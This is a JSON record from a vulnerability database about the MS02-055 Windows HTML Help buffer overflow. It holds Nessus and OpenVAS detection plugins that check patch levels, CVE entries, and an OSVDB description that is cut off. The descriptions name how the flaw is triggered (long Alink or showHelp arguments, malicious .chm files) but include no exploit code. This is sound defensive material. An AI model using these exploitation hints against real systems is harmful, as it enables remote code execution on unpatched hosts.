exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["modified", "sourceData"], "edition": 4, "lastseen": "2017-10-29T13:44:36"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 8, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "e01b7b077dfd10409dfc9e33f4bbdb0779ebc6f6281488fa2b0413fcce302842", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "3b33040e1ee70c0673ab567f99a67d3f", "key": "modified"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "a3017aea3e93989790e3001745ef06d4", "key": "sourceData"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2018-08-30T19:55:48", "modified": "2018-07-30T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.43\");\n script_cvs_date(\"Date: 2018/07/30 11:55:12\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["cvss"], "edition": 8, "lastseen": "2018-08-30T19:55:48"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 6, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "8cc7569f6479bb501a76445a63b6312a5571ebbe64c2b942a06fb445a809cdfb", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "9570f8e4e9af170494f007d8a35f0a26", "key": "modified"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "cb028f222525c9ff0b068525b327a6b6", "key": "sourceData"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2018-07-30T14:21:42", "modified": "2018-07-27T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.42\");\n script_cvs_date(\"Date: 2018/07/27 18:38:16\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["modified", "sourceData"], "edition": 6, "lastseen": "2018-07-30T14:21:42"}], "edition": 12, "hashmap": [{"key": "bulletinFamily", "hash": "bbdaea376f500d25f6b0c1050311dd07"}, {"key": "cpe", "hash": "f119fcbd597f778cfd79bca12af8db90"}, {"key": "cvelist", "hash": "a1cdd73b9fb62492766693218d5065e5"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "295bd1a72971fc6c0d0442eba33df71e"}, {"key": "href", "hash": "be611e2150260d71ee3fc3f93ea2a5bd"}, {"key": "modified", "hash": "015cb78ce50d3bd4e2fbe18f25603329"}, {"key": "naslFamily", "hash": "c9898bc973bfffca5119f1a3bfa73a8d"}, {"key": "pluginID", "hash": "eed054ecd7a0a544cf73292836023ffe"}, {"key": "published", "hash": "397a33b7a8af8df9418a0c5e51e9dc18"}, {"key": "references", "hash": "5b5c5b741060d072140641b3879412b0"}, {"key": "reporter", "hash": "9cf00d658b687f030ebe173a0528c567"}, {"key": "sourceData", "hash": "2133d1a402acc193d7b90178dc1f7602"}, {"key": "title", "hash": "425637eb16dcc15cff3a27b7018c1437"}, {"key": "type", "hash": "5e0bd03bec244039678f2b955a2595aa"}], "hash": "178e3f8a48402aa35ce58d2e023a767b09b3f3a4c8161db35db6746092c2be9c", "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2002-0694", "CVE-2002-0693"]}, {"type": "openvas", "idList": ["OPENVAS:136141256231011147", "OPENVAS:11147"]}, {"type": "exploitdb", "idList": ["EDB-ID:21902"]}, {"type": "osvdb", "idList": ["OSVDB:2992", "OSVDB:867"]}], "modified": "2019-02-21T01:07:45"}, "score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.44\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "naslFamily": "Windows : Microsoft Bulletins", "pluginID": "11147", "cpe": ["cpe:/o:microsoft:windows"], "scheme": null}

{"cve": [{"lastseen": "2018-10-13T12:03:35", "bulletinFamily": "NVD", "description": "The HTML Help facility in Microsoft Windows 98, 98 Second Edition, Millennium Edition, NT 4.0, NT 4.0 Terminal Server Edition, Windows 2000, and Windows XP uses the Local Computer Security Zone when opening .chm files from the Temporary Internet Files folder, which allows remote attackers to execute arbitrary code via HTML mail that references or inserts a malicious .chm file containing shortcuts that can be executed, aka \"Code Execution via Compiled HTML Help File.\"", "modified": "2018-10-12T17:31:42", "published": "2002-10-10T00:00:00", "id": "CVE-2002-0694", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0694", "title": "CVE-2002-0694", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-10-13T12:03:35", "bulletinFamily": "NVD", "description": "Buffer overflow in the HTML Help ActiveX Control (hhctrl.ocx) in Microsoft Windows 98, 98 Second Edition, Millennium Edition, NT 4.0, NT 4.0 Terminal Server Edition, Windows 2000, and Windows XP allows remote attackers to execute code via (1) a long parameter to the Alink function, or (2) script containing a long argument to the showHelp function.", "modified": "2018-10-12T17:31:41", "published": "2002-10-10T00:00:00", "id": "CVE-2002-0693", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0693", "title": "CVE-2002-0693", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "openvas": [{"lastseen": "2018-09-01T23:35:57", "bulletinFamily": "scanner", "description": "An unchecked buffer in Windows help could allow an attacker to\n could gain control over user", "modified": "2018-06-15T00:00:00", "published": "2005-11-03T00:00:00", "id": "OPENVAS:136141256231011147", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231011147", "title": "Unchecked Buffer in Windows Help(Q323255)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: smb_nt_ms02-055.nasl 10213 2018-06-15 10:04:26Z cfischer $\n#\n# Unchecked Buffer in Windows Help(Q323255)\n#\n# Authors:\n# Michael Scheidell SECNAP Network Security\n#\n# Copyright:\n# Copyright (C) 2002 SECNAP Network Security, LLC\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.11147\");\n script_version(\"$Revision: 10213 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-06-15 12:04:26 +0200 (Fri, 15 Jun 2018) $\");\n script_tag(name:\"creation_date\", value:\"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)\");\n script_bugtraq_id(4387, 5874);\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_name(\"Unchecked Buffer in Windows Help(Q323255)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"This script is Copyright (C) 2002 SECNAP Network Security, LLC\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_mandatory_keys(\"SMB/registry_enumerated\");\n\n script_tag(name:\"summary\", value:\"An unchecked buffer in Windows help could allow an attacker to\n could gain control over user's system.\");\n\n script_tag(name:\"affected\", value:\"Microsoft Windows 98\n\n Microsoft Windows 98 Second Edition\n\n Microsoft Windows Millennium Edition\n\n Microsoft Windows NT 4.0\n\n Microsoft Windows NT 4.0, Terminal Server Edition\n\n Microsoft Windows 2000\n\n Microsoft Windows XP\");\n\n script_tag(name:\"solution\", value:\"The vendor has released updates, please see http://www.microsoft.com/technet/security/bulletin/ms02-055.mspx\");\n\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"secpod_reg.inc\");\n\nif ( hotfix_check_sp(nt:7, win2k:4, xp:1) <= 0 ) exit(0);\nif ( hotfix_missing(name:\"Q323255\") > 0 )\n security_message(port:0);\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-12-08T11:44:07", "bulletinFamily": "scanner", "description": "An unchecked buffer in Windows help could allow an attacker to\ncould gain control over user's system.\n\nMaximum Severity Rating: Critical \n\nRecommendation: Customers should install the patch immediately. \n\nAffected Software: \n\nMicrosoft Windows 98 \nMicrosoft Windows 98 Second Edition \nMicrosoft Windows Millennium Edition \nMicrosoft Windows NT 4.0 \nMicrosoft Windows NT 4.0, Terminal Server Edition \nMicrosoft Windows 2000 \nMicrosoft Windows XP \n\nSee\nhttp://www.microsoft.com/technet/security/bulletin/ms02-055.mspx", "modified": "2017-12-07T00:00:00", "published": "2005-11-03T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=11147", "id": "OPENVAS:11147", "title": "Unchecked Buffer in Windows Help(Q323255)", "type": "openvas", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: smb_nt_ms02-055.nasl 8023 2017-12-07 08:36:26Z teissa $\n# Description: Unchecked Buffer in Windows Help(Q323255)\n#\n# Authors:\n# Michael Scheidell SECNAP Network Security\n#\n# Copyright:\n# Copyright (C) 2002 SECNAP Network Security, LLC\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ntag_summary = \"An unchecked buffer in Windows help could allow an attacker to\ncould gain control over user's system.\n\nMaximum Severity Rating: Critical \n\nRecommendation: Customers should install the patch immediately. \n\nAffected Software: \n\nMicrosoft Windows 98 \nMicrosoft Windows 98 Second Edition \nMicrosoft Windows Millennium Edition \nMicrosoft Windows NT 4.0 \nMicrosoft Windows NT 4.0, Terminal Server Edition \nMicrosoft Windows 2000 \nMicrosoft Windows XP \n\nSee\nhttp://www.microsoft.com/technet/security/bulletin/ms02-055.mspx\";\n\nif(description)\n{\n script_id(11147);\n script_version(\"$Revision: 8023 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $\");\n script_tag(name:\"creation_date\", value:\"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)\");\n script_bugtraq_id(4387, 5874);\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\"); \n\n name = \"Unchecked Buffer in Windows Help(Q323255)\";\n \n script_name(name);\n \n\n\n \n script_category(ACT_GATHER_INFO);\n script_tag(name:\"qod_type\", value:\"registry\");\n \n script_copyright(\"This script is Copyright (C) 2002 SECNAP Network Security, LLC\");\n family = \"Windows : Microsoft Bulletins\";\n script_family(family);\n \n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_keys(\"SMB/Registry/Enumerated\");\n script_mandatory_keys(\"SMB/WindowsVersion\");\n script_require_ports(139, 445);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"secpod_reg.inc\");\n\nif ( hotfix_check_sp(nt:7, win2k:4, xp:1) <= 0 ) exit(0);\nif ( hotfix_missing(name:\"Q323255\") > 0 ) \n\tsecurity_message(get_kb_item(\"SMB/transport\"));\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "osvdb": [{"lastseen": "2017-04-28T13:19:57", "bulletinFamily": "software", "description": "## Vulnerability Description\nMicrosoft Windows HTML Help ActiveX Control contains a flaw that allows remote attackers to execute arbitrary code. The flaw occurs due to an unchecked buffer in the hhctrl.ocx file. This can be exploited by using a long parameter to the \"Alink\" function or a script containing a long argument to the \"showHelp\" function.\n\n## Technical Description\nHTML Help ActiveX control ships as part of Microsoft HTML Help, and is designed to work with Internet Explorer to provide functionality for help systems.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch (Q323255) to address this 